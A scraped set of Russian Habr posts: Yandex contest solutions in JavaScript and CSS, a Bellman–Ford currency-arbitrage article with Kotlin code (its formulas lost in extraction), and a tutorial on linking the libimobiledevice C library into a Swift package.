[SmthTo](https://habr.com/en/users/smthto/) [toster.ru/user/SmthTo](https://toster.ru/user/SmthTo)
[RAX7](https://habr.com/en/users/rax7/) [toster.ru/user/RAX7](https://toster.ru/user/RAX7)
[dimoff66](https://habr.com/en/users/dimoff66/) [toster.ru/user/dimoff66](https://toster.ru/user/dimoff66)
[vk.com/vladilen.minin](https://vk.com/vladilen.minin)
Финальный раунд
---------------
**A. Асинхронный API из параллельной вселенной. (15 баллов)
Условие.**
Ваш коллега-разработчик из параллельной вселенной прислал вам свою новую библиотеку для управления космическим кораблем. Т.к. космический корабль штука сложная, то и API у библиотеки довольно «развесистый», точное число методов неизвестно, документации, разумеется, нет. Зато известно, что в параллельной вселенной люди ходят по потолку, спят днём, работают ночью, а ещё используют только асинхронные функции и всегда передают callback первым аргументом. Странные ребята! У нас на Земле уже давно все на промисах пишут. Однако библиотеку нужно интегрировать в проект. Поэтому вам поступила задача написать обёртку, которая будет предоставлять тот же API, но на промисах.
Формат ввода
Пример исходного API:
```
const api = {
a: {
b: {
c: callback => setTimeout(() => callback(null, ’hello’), 100)
}
},
aa: {
bb: (callback, x, y) => setTimeout(() => callback(null, x + y), 200)
}
};
```
Формат вывода
Отправьте решение в виде:
```
/**
* @param {Object} api - исходное API
* @returns {Object}
*/
module.exports = function promisify(api) {
// ...
return promisedApi;
};
```
Пример использования:
```
const promisedApi = promisify(api);
promisedApi.a.b.c()
.then(res => console.log(res)); // => ’hello’
```
Примечания
обёртка должна возвращать rejected promise в случае ошибки при вызове исходного API, callback всегда принимает ошибку первым аргументом:
```
callback(error, data)
```
в исходном API могут встречаться константы (числа, строки и булевые), их нужно возвращать как есть:
```
api.foo.myConst = 1;
promisedApi.foo.myConst === 1;
```
инициализация обёртки должна быть «ленивой»: в исходном API может быть большое количество неймспейсов, и обращаться к ним нужно по мере использования.
**Решение**
В контесте я решил эту задачу не полностью и получил 12.86 баллов из 15 возможных за решение. Я использовал рекурсию для обхода всех свойств и промисификацию если это функция.
И уже после окончания котеста я доработал решение за счет использования объекта Proxy. Лишь такой вариант прошел все тесты. Ниже представлено решение с учетом доработок.
```
function promisify (obj) {
const cache = {}
return new Proxy(obj, {
get (target, prop) {
const value = target[prop]
const type = Object.prototype.toString.call(value)
if (type === '[object Object]') {
cache[prop] = promisify(value) // обходим рекурсивно, если свойство - объект
return cache[prop]
} else if (type === '[object Function]') {
cache[prop] = function (...args) { // переопределяем если функция
return new Promise((resolve, reject) => {
const callback = (err, result) => {
if (err) {
reject(err)
} else {
resolve(result)
}
}
value.call(this, callback, ...args)
})
}
return cache[prop]
}
return value
}
})
}
```
На заметку, в node js уже есть такая утилита [nodejs.org/dist/latest-v8.x/docs/api/util.html#util\_util\_promisify\_original](https://nodejs.org/dist/latest-v8.x/docs/api/util.html#util_util_promisify_original), только она принимает функцию, у которой callback — это последний аргумент, а не первый.
Все о Proxy:
[learn.javascript.ru/proxy](https://learn.javascript.ru/proxy)
[www.youtube.com/watch?v=np08WdS9OXg](https://www.youtube.com/watch?v=np08WdS9OXg)
**B. Будни стажера (15 баллов)
Условие.**
В команде Яндекса работает стажёр Степан. Сроки уже поджимают, а он не успевает с вёрсткой страниц. Помогите Степану сверстать одну из них по макету из этой задачи.
При вёрстке не должно быть отступов от левого и верхнего края страницы. Также нельзя использовать изображения. Вот макет:
Как видите, макет состоит из плиток двух размеров: стандартного и двойного. Стандартная плитка занимает 1/3 ширины экрана, двойная — 2/3. Высота плитки фиксированная — 200px. Расстояние между плитками 20 пикселей.
Цвет бекграунда стандартной плитки #8a2be2, цвет двойной #000.
В результате у вас должна получиться HTML-страница с вёрсткой для макета. Размер страницы не должен превышать 10 КБ.
Обратите внимание:
в шаблонах можно писать только вёрстку и стили — JavaScript и изображения использовать нельзя;
Изначально предлагался следующий html файл:
[github.com/vito2005/YandexCompetition/blob/master/final-2019/B/original.html](https://github.com/vito2005/YandexCompetition/blob/master/final-2019/B/original.html)
**Решение**
В принципе можно было обойтись без исходного файла. Но я все таки взял его за основу.
Убрал шрифты и скрипт из разметки, чтобы снизить вес файла.
Далее добавил 6 divов и обернул их во wrapper.
Верстку сделал через display: grid
В итоге получилось следующее:
```
body {
margin: 0;
padding: 0;
}
.wrapper {
display: grid;
grid-template-columns: repeat(3, 1fr);
grid-gap: 20px;
}
.banner1, .banner2, .banner3, .banner4, .banner7 {
background: #8a2be2;
height: 200px;
}
.banner5 {
background: #000;
grid-column: 2 / 4;
}
.banner6 {
background: #000;
grid-column: 1 / 3;
}
```
**C. Идеальные прямоугольники (40 баллов)
Условие.**
Боб — художник-экспрессионист. Все его работы представляют собой цветные строго вертикальные прямоугольники на белом фоне.
Недавно его работы опубликовали на сайте известного журнала Top Art. Боб решил разглядеть свои полотна поближе, увеличил масштаб страницы и пришел в ужас от расплывшихся углов и нечётких краёв его идеальных прямоугольников.
Будучи человеком обстоятельным, он изучил проблему и решил свои шедевры сконвертировать в HTML, чтобы под любым углом и в любом масштабе линии оставались идеальными. Для выполнения задуманного он выбрал вас.
Напишите для него сервис, который сможет генерировать html из картинок.
Формат ввода
На вход подаётся строка, которая содержит картинку в base64
Формат вывода
Верните функцию traceImage, которая на вход принимает ссылку на картинку, а возвращает промис, который резолвится со строкой. В строке должна быть вёрстка, которая повторяет эту картинку.
Отправьте решение в виде:
```
/**
*
* @param {String} imageSrc - base64 картинки, например ’data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...’
* @returns {Promise}
*/
function traceImage(imageSrc) {
// Ваше решение
}
```
Примечания
Картинка может быть любого размера
Картинка не прозрачная
Цвет пустых пикселей — белый (r, g, b): (255, 255, 255)
На картинке изображён 1 цветной непрозрачный прямоугольник
Все линии горизонтальные или вертикальные
Код выполняется в браузере
Пример
Дана картинка строкой в base64 (в том виде, в котором она будет передаваться в функцию):
[gist.github.com/senaev/50460323558db543256cb7f196e7d81d](https://gist.github.com/senaev/50460323558db543256cb7f196e7d81d)
Для такой картинки можно сгенерировать строку:
```
```
**Решение**
Суть решения сводиться к тому, чтобы создать canvas по размеру картинки, отрисовать туда картинку и начать c помощью метода getImageData получить информацию о цвете каждого пикселя, далее остается перебирать пиксели с левого верхнего края, пока не попадётся не белый пиксель. Далее продолжить перебирать пиксели по горизонтальной и вертикальной осям пока вновь не встретим белый пиксель, так мы получим ширину и высоту прямоугольника.
В этой статье подробно рассматривается работа с canvas и применение getImageData
[code.tutsplus.com/ru/tutorials/canvas-from-scratch-pixel-manipulation--net-20573](https://code.tutsplus.com/ru/tutorials/canvas-from-scratch-pixel-manipulation--net-20573)
К сожалению мой код прошел не все тесты и набрал 30 из 40 баллов, и мне так и не удалось понять ошибки, буду благодарен, если укажите на недочеты:
```
function traceImage (imgSrc) {
function loadImg (src) {
return new Promise((resolve, reject) => {
if (typeof src !== 'string') reject('wrong data')
const img = new Image()
img.addEventListener('load', () => resolve(img))
img.addEventListener('error', err => reject(err))
img.src = src
})
}
function calcElementFromImage (img) {
const TRANSPARENT_COLOR = [255, 255, 255, 1]
const colorFromData = (data, i) => {
return [data[i], data[i + 1], data[i + 2], data[i + 3] / 255]
}
const w = img.naturalWidth
const h = img.naturalHeight
const canvas = document.createElement('canvas')
canvas.width = w
canvas.height = h
const ctx = canvas.getContext('2d')
ctx.drawImage(img, 0, 0, w, h)
const data = ctx.getImageData(0, 0, w, h).data
let top, left, bgColor
let lastIndex = 0
for (let i = lastIndex; i < data.length; i += 4) {
const color = colorFromData(data, i)
if (!color.every((c, i) => c === TRANSPARENT_COLOR[i])) {
const px = i / 4
left = px % w
top = px / w | 0
bgColor = color
lastIndex = i
break
}
}
let width
const maxLeftIndex = (w - left) * 4 + lastIndex
for (let i = lastIndex; i < maxLeftIndex; i += 4) {
const color = colorFromData(data, i)
if (color.every((c, i) => c === TRANSPARENT_COLOR[i])) {
const x = i / 4 % w
width = x - left
break
}
}
let height
const maxTopIndex = (h - top - 1) * w * 4 + lastIndex
const hStep = w * 4
for (let i = lastIndex; i < maxTopIndex; i += hStep) {
const color = colorFromData(data, i)
if (color.every((c, i) => c === TRANSPARENT_COLOR[i])) {
const y = i / 4 / w | 0
height = y - top
break
}
}
bgColor = Object.values(bgColor).join(',')
return {
parentWidth: w,
parentHeight: h,
top,
left,
width,
height,
bgColor
}
}
return loadImg(imgSrc).then(img => {
const data = calcElementFromImage(img)
const { parentWidth, parentHeight, top, left, width, height, bgColor } = data
const div = `
`
return Promise.resolve(div)
})
}
```
**D. Ход конём (40 баллов).
Условие.**
Геннадий — интеллектуал. Он любит знакомиться с интересными людьми. Но будучи человеком осмотрительным и недоверчивым, делает он это только в интернете. Недавно Геннадий обнаружил, что сопоставимых по IQ собеседников можно отыскать на шахматном форуме, но вот беда — в шахматы играть Геннадий не умеет, а все обучаторы основаны на javascript-е, который Геннадий осмотрительно отключает, чтобы избежать вероятности подцепить вирус.
Чтобы помочь Геннадию — предлагаем сделать обучатор для игры в шахматы без javascript, который будет показывать, как ходит конь. Обучатор должен выглядеть как шахматная доска. Кликаешь по клетке — тебе показывают, куда с этой клетки может пойти конь.
Формат ввода
html-документ, при загрузке которого рисуется шахматная доска
Формат вывода
Задание будет протестировано в реальном браузере (Chrome 77).
В браузере будет загружен ваш html-документ. Робот кликает в различные ячейки шахматного поля и снимает скриншоты после кликов.
Скриншоты должны соответствовать эталонным
Пример
Примечания
* Реализация на CSS и HTML. Javascript использовать нельзя.
* Вся верстка должна быть квадратной, без теней, градиентов, скруглений и т.п.
* Ширина и высота ячейки — 30 пикселей
* Шахматное поле находится на странице слева сверху, без отступов
* Цвет выделенной ячейки #ff0000
* Цвет ячейки, на которую может ходить фигура #0000ff
* Цвет светлой ячейки #f4cd8d
* Цвет темной ячейки #745853
* Левая верхняя ячейка светлая
* Изначально ни одна ячейка не выделена
Выделение происходит по клику в конкретную ячейку и сохраняется до следующего клика
**Решение**
К сожалению за отведенные 4 часа мне не удалось полностью предоставить решение, я успел сделать верстку и клик по ячейке, и лишь после окончания турнира, не без помощи коллег с форумов, я все же добил эту задачку.
Итак, первое что надо было сделать — это разместить input type=radio для каждой клеточки, привязать к ним label, задав верстку через display:grid и разбив на 8 колонок через grid-template-columns: repeat(8, 30px). Я долго провозился с версткой для возможных ходов конем.
Сложность заключалась в том, что в css нельзя стилизовать предыдущие элементы.
И она не решаема в данном случае (когда стилизовать требуется и предыдущие, и последующие).
Поэтому, чтобы не загрязнять разметку, я решил добавить псевдоэлементы, которые спозиционированы абсолютом и через background разрисованы линейным градиентом на квадратики. У меня это заняло не мало времени и так и ничего не вышло, однако мне посоветовали отличное решение: задать для выделенной ячейки 8 теней синего цвета и расположить как надо.
В итоге получилось следующее:
```
Title
.white { background: #f4cd8d; }
.black { background: #746864; }
body {
margin: 0;
display: flex
}
div {
display: grid;
grid-template-columns: repeat(8, 30px);
overflow: hidden;
}
input {
display: none;
}
label {
width: 30px;
height: 30px;
background: #f4cd8d;
display: block;
position: relative;
}
input[type="radio"]:checked + label {
background: #FF0000;
box-shadow: -30px -60px 0 0 #0000FF, -60px -30px 0 0 #0000FF, 30px -60px 0 0 #0000FF, 60px -30px 0 0 #0000FF, -30px 60px 0 0 #0000FF, -60px 30px 0 0 #0000FF, 30px 60px 0 0 #0000FF, 60px 30px 0 0 #0000FF;
z-index: 100;
position: relative;
}
...........
...........
```
[Ссылка на рабочий вариант](https://codepen.io/alex-buki/pen/KKKqQja)
Продолжение следует… | https://habr.com/ru/post/474404/ | null | ru | null |
# Арбитражная торговля (Алгоритм Беллмана — Форда)
Торговля на бирже обычно ассоциируется с рисками. Это совершенно верно для большинства торговых стратегий. Успешность торговли в этих случаях определяется исключительно способностью верно оценивать риски и управлять ими. Но не все торговые стратегии таковы. Существуют безрисковые стратегии, к которым относится, в частности, арбитраж. В этой статье будет рассказано, что такое арбитраж, и как реализовать его с использованием такого классического алгоритма на графе, как алгоритм Беллмана — Форда.
### Что такое арбитраж
[Арбитраж](https://ru.wikipedia.org/wiki/%D0%90%D1%80%D0%B1%D0%B8%D1%82%D1%80%D0%B0%D0%B6_(%D1%8D%D0%BA%D0%BE%D0%BD%D0%BE%D0%BC%D0%B8%D0%BA%D0%B0)) — это несколько логически связанных сделок, направленных на извлечение прибыли из разницы в ценах на одинаковые или связанные активы в одно и то же время на разных рынках (пространственный арбитраж), либо на одном и том же рынке в разные моменты времени (временной арбитраж).
В качестве простого примера рассмотрим пространственный арбитраж. В Нью-Йорке и Лондоне можно заключить сделки по покупке долларов за евро и евро за доллары. В Нью-Йорке это можно делать по курсу 4 доллара за 3 евро, а в Лондоне — по курсу 5 долларов за 3 евро. Такая разница курсов открывает возможность для пространственного арбитража.
Имея 4 доллара, в Нью-Йорке на них можно купить 3 евро. После этого в Лондоне купить за эти 3 евро 5 долларов. Как можно заметить, такая несложная последовательность сделок приносит 1 доллар прибыли на каждые вложенные 4 доллара. Соответственно, если изначально имеется 4 миллиона долларов, то и прибыль будет уже в миллион.
Когда обменные курсы (спред не рассматриваем) для одной и той же валютной пары отличаются, то последовательность сделок, необходимых для реализации арбитражной стратегии, очень простая. В случае, если курс для одной валютной пары фиксирован, но торгуются несколько валютных пар параллельно, арбитраж также возможен, но последовательность сделок уже будет нетривиальной. К примеру, можно купить 4 евро за 5 долларов, 3 фунта за 4 евро, а потом 6 долларов за 3 фунта. Прибыль от такой последовательности сделок составит 1 доллар на каждые 5 вложенных долларов.
На бирже могут торговаться сотни валютных пар, а обменные курсы постоянно меняются. Понять, какая последовательность сделок принесёт прибыль, без алгоритмического решения в этом случае уже невозможно.
### Переход к алгоритмической задаче
Представим потенциальные сделки обмена валюты в алгоритмическом виде, а именно в виде графа. Вершины в этом графе представляют валюты, а ребра являются возможными сделками. Длина же ребра соответствует обменному курсу, по которому данную сделку можно заключить.
Далее встает вопрос, как в таком графе найти последовательность сделок, которая принесет прибыль. Очевидно, что так как в начале последовательности и в её конце должна быть одна и та же валюта, то последовательность должна соответствовать циклу в заданном графе. Далее необходимо определиться с тем, как вычисляется обменный курс между двумя валютами, если они обмениваются не напрямую, а через некую третью валюту (или произвольное количество промежуточных операций). Тут всё тоже достаточно просто. Такой обменный курс будет вычисляться как произведение обменных курсов промежуточных сделок. Прибыльной последовательность сделок становится, если это произведение принимает значение меньше единицы. Другими словами, если единицу валюты можно купить меньше, чем за единицу этой же самой валюты.
Классические алгоритмы на графах плохо подходят для работы с произведением длин ребер. Такие алгоритмы, в основном, заточены на нахождение пути, который определяется как сумма этих длин. Однако для обхода этого ограничения существует математический способ перейти от произведения к сумме. Таким способом является логарифмирование. Если под логарифмом оказывается произведение, то такой логарифм может быть преобразован в сумму логарифмов. В правой же части этого уравнения желаемым является число меньшее единицы, а значит, логарифм этого числа должен быть меньше нуля.
Такой простой математический трюк позволяет перейти от поиска цикла, произведение длин ребер которого меньше единицы, к поиску цикла, сумма длин ребер которого меньше нуля. Такая задача уже выглядит более решаемой классическими графовыми алгоритмами, а точнее алгоритмом Беллмана — Форда.
### Алгоритм Беллмана — Форда
Алгоритм [Беллмана — Форда](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%91%D0%B5%D0%BB%D0%BB%D0%BC%D0%B0%D0%BD%D0%B0_%E2%80%94_%D0%A4%D0%BE%D1%80%D0%B4%D0%B0) обычно используется для нахождения расстояния от заданной вершины до всех остальных вершин некоторого графа, однако его модификация позволяет найти и циклы отрицательной длины.
Базовой операцией этого алгоритма является *релаксация* ребер. Суть данной операции следующая. Допустим, что имеется ребро , а еще известны вычисленные ранее предварительные значения расстояний до вершин  и . Для выполнения релаксации ребра требуется вычислить, какое получилось бы расстояние до вершины , если бы путь проходил через вершину  и ребро . Это расстояние вычисляется как сумма расстояния до вершины  и длины ребра . Далее, если это расстояние оказывается меньше текущего предварительного расстояния до , то это самое расстоние до  переписывается и принимает новое, только что вычисленное, значение.
Остальной алгоритм тоже несложен. Необходимо  раз ( — это количество вершин графа) обойти список ребер, при каждом обходе применяя операцию релаксации. Сложность алгоритма при этом получается  (где  — количество вершин, а  — количество ребер). Для графа без отрицательных циклов дальнейшие релаксации ребер не приведут к изменению расстояний до вершин. В то же время, для графа, содержащего отрицательный цикл, релаксации будут уменьшать расстояние до вершин и после  обходов. Это свойство может быть использовано использовано для нахождения искомого цикла.
Тем, кому привычнее разбираться с кодом, должна помочь следующая небольшая реализация описанного выше алгоритма на Kotlin'е.
```
fun findNegativeCycle(nodes: Int, edges: Array, source: Int): List? {
// Initialize distances and prev arrays. All distances but the distance to
// the source node are infinite, distance to the source node is zero.
val distances = DoubleArray(nodes) { if (it == source) 0.0 else INFINITY }
val prev = IntArray(nodes) { -1 }
// Relax all edges N times where N is the number of nodes.
repeat(nodes) {
edges.forEach { it.relax(distances, prev) }
}
// Try to relax at least one more edge. If it's possible memorize the node,
// otherwise return from the method.
val firstRelaxedEdge = edges.firstOrNull { it.relax(distances, prev) }
var node = firstRelaxedEdge?.to ?: return null
// Step back N times where N is the number of nodes. As a result, the node will
// be in the loop for sure.
repeat(nodes) {
node = prev[node]
}
// Recover the loop by the node that is inside it and prev links.
val lastNode = node
return buildList {
do {
add(node)
node = prev[node]
} while (node != lastNode)
reverse()
}
}
// Edge DTO with implemented relaxation operation.
data class Edge(val from: Int, val to: Int, val length: Double) {
fun relax(distances: DoubleArray, prev: IntArray): Boolean {
if (distances[from] + length >= distances[to]) {
return false
}
distances[to] = distances[from] + length
prev[to] = from
return true
}
}
```
Разберем пример с небольшим графом, в состав которого входит цикл отрицательной длины. Для работы алгоритма необходимо для каждой вершины поддерживать текущее известное расстояние до неё, а так же ссылку на её предыдущую вершину. Ссылка на предыдущая вершина в данном случае определяется успешной релаксацией ребра. Если операция релаксации прошла успешно, и дистанция до вершины была обновлена, то ссылка на предыдущую вершина этой вершины также обновляется и принимает значение вершины-источника заданного ребра.
Итак, для начала необходимо инициализировать вершины, установив дистанцию до всех вершин кроме начальной равной бесконечности. Для начальной вершины устанавливается дистанция равная нулю.
Далее следует первый обход всех ребер и выполняются их релаксации. Практически все релаксации не дают никакого результата, кроме релаксации ребра . Релаксация данного ребра позволяет обновить расстояние до .
Далее следует второй обход всех рёбер графа и соответствующие релаксации. На этот раз результат дают релаксации ребер , а также . Обновляются расстояния до вершин  и . Тут следует заметить, что результат зависит от того, в каком порядке происходит обход ребер.
При третьем обходе ребер удается успешно релаксировать уже три ребра, а именно ребра , , . При этом, при релаксации ребер  и  обновляются уже записанные ранее расстояния до  и , а так же соответствующие ссылки на предыдущие вершины.
При четвертом обходе успешно заканчиваются операции релаксации ребер  и . При этом опять обновляются уже записанные значения расстояний до вершин  и , как и соответствующие ссылки на предыдущие вершины.
Пятый обход является последним. При этом обходе релаксируются ребра , , . Тут можно заметить, что наличие цикла отрицательной длины уже вносит определенные корректировки в значения расстояний до вершин.
После этого обхода, если бы граф не содержал цикла отрицательной длины, алгоритм был бы закончен, так как релаксация любого ребра уже не внесла бы никаких изменений. Однако для данного графа из-за наличия цикла отрицательной длины, все еще можно найти ребро, релаксация которого обновит значения расстояния до одной из вершин.
Ребро, релаксация которого обновляет расстояние до вершины, найдено. Это подтверждает наличие цикла отрицательной длины. Теперь необходимо найти сам этот цикл. Важно, что вершина, расстояние до которой сейчас обновилось, может быть как внутри цикла, так и вне него. В примере это вершина  и она вне цикла. Далее необходимо обратиться к ссылкам на предыдущие вершины, которые аккуратно обновлялись на всех шагах алгоритма. Чтобы гарантированно попасть в цикл, необходимо отступить назад на  вершин, пользуясь этими ссылками.
В данном примере переходы будут следующие: . Таким образом находится вершина , которая гарантированно лежит в цикле отрицательной длины.
Далее дело техники. Чтобы вернуть искомый цикл, нужно опять итерироваться по ссылкам на предыдущие вершины, пока опять не встретится вершина . Это будет значить, что цикл замкнулся. Остается только изменить порядок на обратный, так как при итерациях по ссылкам на предыдущие вершины порядок был инвертирован.
В приведенном алгоритме предполагается наличие некоторой изначальной вершины, от которой рассчитываются расстояния. Наличие такой вершины не является обязательным для работы алгоритма, а введена она в большей степени для соответствия изначальному алгоритму Беллмана — Форда. Если же предметом интереса является цикл отрицательной длины, то можно считать, что все вершины заданного графа являются начальными. Другими словами, что дистанция до всех вершин изначально равна нулю.
### Заключение
Использование алгоритма Беллмана — Форда в задаче арбитражной торговли является отличным примером того, как классические алгоритмы позволяют решать реальные проблемы бизнеса, в частности, в финансовой сфере. Асимптотическая сложность алгоритма, равная  для полносвязного графа, может оказаться достаточно большой. Об этом действительно нужно помнить. Однако во многих случаях, таких как обмен валюты, эта сложность не создает никаких проблем в связи с относительно малым [количеством узлов](https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D1%81%D1%83%D1%89%D0%B5%D1%81%D1%82%D0%B2%D1%83%D1%8E%D1%89%D0%B8%D1%85_%D0%B2%D0%B0%D0%BB%D1%8E%D1%82) в графе. | https://habr.com/ru/post/487742/ | null | ru | null |
# Непростая линковка Swift и C
Все началось с того, что нашей команде прилетел жирный намек на покачаться в сторону системной разработки под яблочную платформу из за наклевывающихся контрактов. А мы все на виндофс пишем и вижуал студию одобряем который год - так что разнообразие не повредит.
Ну а чтобы покачаться в разработке под платформу самое лучше – написать какой-нить системный утиль, а тут Fugu14 выкатили поэтому я решил написать небольшую систему дампа фримвари для айфонов. И в качестве начала было решено переписать [igetnonce](http://1.%09https://github.com/tihmstar/igetnonce) на swift.
Почему swift? – ну неповторимый оригинал уже на Си, так что этот вариант отпадает, а красоту синтаксиса Objective-C я чет так и не оценил.
Посмотрев как что нынче носят в swift - я был крайне впечатлен концепцией пакетов и SPM – лаконичное описание для сборки проекта – это всегда приятно. По этой причине было решено реализовывать проект в виде пакета.
Чистый swift это конечно хорошо, однако igetnonce в качестве зависимостей тащит ряд Си-шных библиотек среди которых широко известная в кругах любителей jailbreak -ов [libimobiledevice](http://2.%09https://github.com/libimobiledevice/libimobiledevice). С нее то и начались мои проблемы :-)
Swift и Си-библиотеки
---------------------
Но для начала давайте обсудим как вообще связать swift и Си-шную библиотеку. Толковой информации об этом в интернете не то чтобы много – могу порекомендовать [эту](https://rderik.com/blog/making-a-c-library-available-in-swift-using-the-swift-package/) и [эту](https://theswiftdev.com/how-to-use-c-libraries-in-swift/), однако и они не достаточно полно описывают то как это правильно сделать.
Но тут (внезапно) на помощь приходит официальная [документация](https://github.com/apple/swift-package-manager/blob/main/Documentation/Usage.md#requiring-system-libraries) – которая гуглится через коленку, и содержит пару ошибок… Так что думаю ничего страшного не будет от того, что я тут продублирую шаги документации с некоторыми исправлениями.
Для работы с Си-шными библиотеками в swift требуется создать специальный пакет-обертку.
```
mkdir Clibimobiledevice # конвенция именований в формате Clibname описана в официальной доке так что не будем ее нарушать
cd Clibimobiledevice
swift package init --type system-module
```
В результате получаем следующую структуру файлов:
```
Clibimobiledevice
├── Package.swift
├── README.md
└── module.modulemap
```
Однако данная структура ошибочна, о чем расскажу чуть позже, сейчас давайте просто приведем ее к правильному виду.
```
Clibimobiledevice % mkdir -p ./Source/Clibimobiledevice
Clibimobiledevice % mv module.modulemap ./Source/Clibimobiledevice
```
В результате имеем следующую структуру:
```
Clibimobiledevice
├── Package.swift
├── README.md
└── Source
└── Clibimobiledevice
└── module.modulemap
```
Так теперь следует отредактировать `module.modulemap`. Подробное описание формата modulemap приведено в [официальной документации](https://clang.llvm.org/docs/Modules.html), но нам достаточно небольшого сабсета всех возможностей модулей, а именно нам нужно обьявить один системный модуль и выдернуть все содержимое заголовочных файлов libimobiledevice.
Получить путь до папки с заголовочными файлами можно с помощью команды `brew --prefix libimobiledevice`. В итоге `module.modulemap` будет иметь следующее содержимое:
```
Clibimobiledevice % cat > Source/Clibimobiledevice/module.modulemap
module Clibimobiledevice [system] {
header "/usr/local/opt/libimobiledevice/include/libimobiledevice/libimobiledevice.h"
export *
}
^D
```
Некоторые из озвученных далее проблем можно решить с помощью файла `module.modulemap`, однако это будут полумеры не до конца решающие проблему.
Теперь перейдем к файлу Package.swift. И отредактируем его следующим образом:
```
Clibimobiledevice % cat > Package.swift
// swift-tools-version:5.5
// The swift-tools-version declares the minimum version of Swift required to build this package.
import PackageDescription
let package = Package(
name: "Clibimobiledevice",
products: [
.library(name: "Clibimobiledevice", targets: ["Clibimobiledevice"]),
],
targets: [
.systemLibrary(
name: "Clibimobiledevice",
// path:
pkgConfig: "libimobiledevice-1.0",
providers: [
.brew(["libimobiledevice"])
]
)
]
)
^D
```
Для взаимодействия с Си-шными библиотеками у SPM существует специальный таргет врапер – [systemLibrary](https://developer.apple.com/documentation/swift_packages/target/3197895-systemlibrary). Как можно увидеть из документации - параметр `path`по умолчанию смотрит в `[PackageRoot]/Sources/[TargetName]` - как раз поэтому нам и пришлось изменить структуру каталогов проекта ранее.
Так же данный таргет опционально готов получить на вход источник пакетов – в нашем случае `brew` и **имя** (именно имя, без полного пути и без расширения) `pkg-config`-а используемой Си-шной библиотеки. Об этом конфиге и о том причем тут `brew` дальше и пойдет речь.
В целом наш врапер уже готов и теперь надо создать проект использующий его функциональность:
```
Clibimobiledevice % cd ..
% mkdir foo
% cd foo
% swift package init --type executable
```
В результате получаем следующую структуру файлов:
```
foo
├── Package.swift
├── README.md
├── Sources
│ └── foo
│ └── main.swift
└── Tests
└── fooTests
└── fooTests.swift
```
Отредактируем `Package.swift`, чтобы добавить в зависимости `Clibimobiledevice`:
```
foo % cat > Package.swift
// swift-tools-version:5.5
// The swift-tools-version declares the minimum version of Swift required to build this package.
import PackageDescription
let package = Package(
name: "foo",
dependencies: [
.package(name: "Clibimobiledevice", path: "../Clibimobiledevice"),
],
targets: [
.executableTarget(
name: "foo",
dependencies: [
.product(name: "Clibimobiledevice", package: "Clibimobiledevice")
]),
.testTarget(
name: "fooTests",
dependencies: ["foo"]),
]
)
^D
```
И вызовем в `main.swift` какую-нибудь функцию `libimobiledevice`:
```
foo % cat > Sources/foo/main.swift
import Clibimobiledevice
idevice_set_debug_level(1)
^D
```
И попробуем собрать что получилось:
```
foo % swift build
warning: you may be able to install libimobiledevice-1.0 using your system-packager:
brew install libimobiledevice
Undefined symbols for architecture x86_64:
"_idevice_set_debug_level", referenced from:
_foo_main in main.swift.o
ld: symbol(s) not found for architecture x86_64
[2/3] Linking foo
```
И так у нас на лицо проблема линковки, плюс странный варнинг о том, что мы не установили `libimobiledevice`. Что могло пойти не так? Может у нас какая-то проблема с версией библиотеки? Может у нас армовая версия? Проверим это:
```
foo % ARCH=x86_64 jtool2 -S /usr/local/opt/libimobiledevice/lib/libimobiledevice-1.0.dylib | grep idevice_set_debug_level
0000000000003e89 T _idevice_set_debug_level
```
Да нет – нужный символы на месте. Тогда попробуем руками указать линковщику где искать нужные символы
```
foo % swift build -Xlinker -L/usr/local/opt/libimobiledevice/lib -Xlinker -limobiledevice-1.0
warning: you may be able to install libimobiledevice-1.0 using your system-packager:
brew install libimobiledevice
ld: warning: dylib (/usr/local/opt/libimobiledevice/lib/libimobiledevice-1.0.dylib) was built for newer macOS version (12.0) than being linked (10.10)
[1/1] Build complete!
```
Все собралось. Можно считать это победой – передать флаги через [LinkerSetting.unsafeFlags](https://developer.apple.com/documentation/swift_packages/linkersetting/3112682-unsafeflags) и пойти пить чай, но это же не наши методы.
Помните функцию [systemLibrary](https://developer.apple.com/documentation/swift_packages/target/3197895-systemlibrary) формирующую таргет для Си-шных библотек?
```
static func systemLibrary(
name: String,
path: String? = nil,
pkgConfig: String? = nil,
providers: [SystemPackageProvider]? = nil
) -> Target
```
Нам интересен ее параметр pkg-config. Что такое pkg-config? если коротко – это утилита определяющая формат в котором библиотеки указывают необходимые для их сборки зависимости и флаги компиляции. Файлы для pkg-config имеют расширение .pc.
Мы в качестве такого файла указали libimobiledevice-1.0. Давайте взглянем на него чтобы немного освежить/познакомиться с форматом:
```
foo % cat /usr/local/opt/libimobiledevice/lib/pkgconfig/libimobiledevice-1.0.pc
# объвляются константы сокращающие запись
prefix=/usr/local/Cellar/libimobiledevice/1.3.0
exec_prefix=${prefix}
libdir=${exec_prefix}/lib
includedir=${prefix}/include
Name: libimobiledevice
Description: A library to communicate with services running on Apple iOS devices.
Version: 1.3.0
Libs: -L${libdir} -limobiledevice-1.0 # флаги для ld
Cflags: -I${includedir} # флаги для копилятора
Requires: libplist-2.0 >= 2.2.0 # зависимости
Requires.private: libusbmuxd-2.0 >= 2.0.2 openssl >= 0.9.8
```
Как видим из конфига – флаги для `ld` аналогичны тем что использовали мы для успешной сборки и по замыслу лежащему в основе pkg-config SPM должен был сам вытащить эти флаги из конфига и подставить куда надо. А раз он этого не сделал то что-то пошло не так, да и варнинг выведенный при сборки только закрепляет мысль о том, что SPM не обработал наш `.pc` файл.
Таким образом возникает резонный вопрос где SPM ищет .pc файлы?
Для поиска ответа пришлось идти в исходники SPM. После некоторого времени, потраченного на поиски стало ясно что за обработку `pkg-config`-ов отвечает (ВНИМАНИЕ!) [PkgConfig.swift](https://github.com/apple/swift-package-manager/blob/aa566b5a1db9b9479e68277c559e1461e6ecde9d/Sources/PackageLoading/PkgConfig.swift#L1), а за поиск – расположенная в нем структура [PCFileFinder](https://github.com/apple/swift-package-manager/blob/e9db7f9df9c52d3506ca11765bbd17e2ad73fe73/Sources/PackageLoading/PkgConfig.swift#L357), в особенности функция [locatePCFile](https://github.com/apple/swift-package-manager/blob/e9db7f9df9c52d3506ca11765bbd17e2ad73fe73/Sources/PackageLoading/PkgConfig.swift#L408).
Строчка [417](https://github.com/apple/swift-package-manager/blob/e9db7f9df9c52d3506ca11765bbd17e2ad73fe73/Sources/PackageLoading/PkgConfig.swift#L417) показывает все источники путей используемые SPM для поиска `.pc` файлов. А именно:
* `PCFileFinder.searchPaths` – константа заданная в структуре
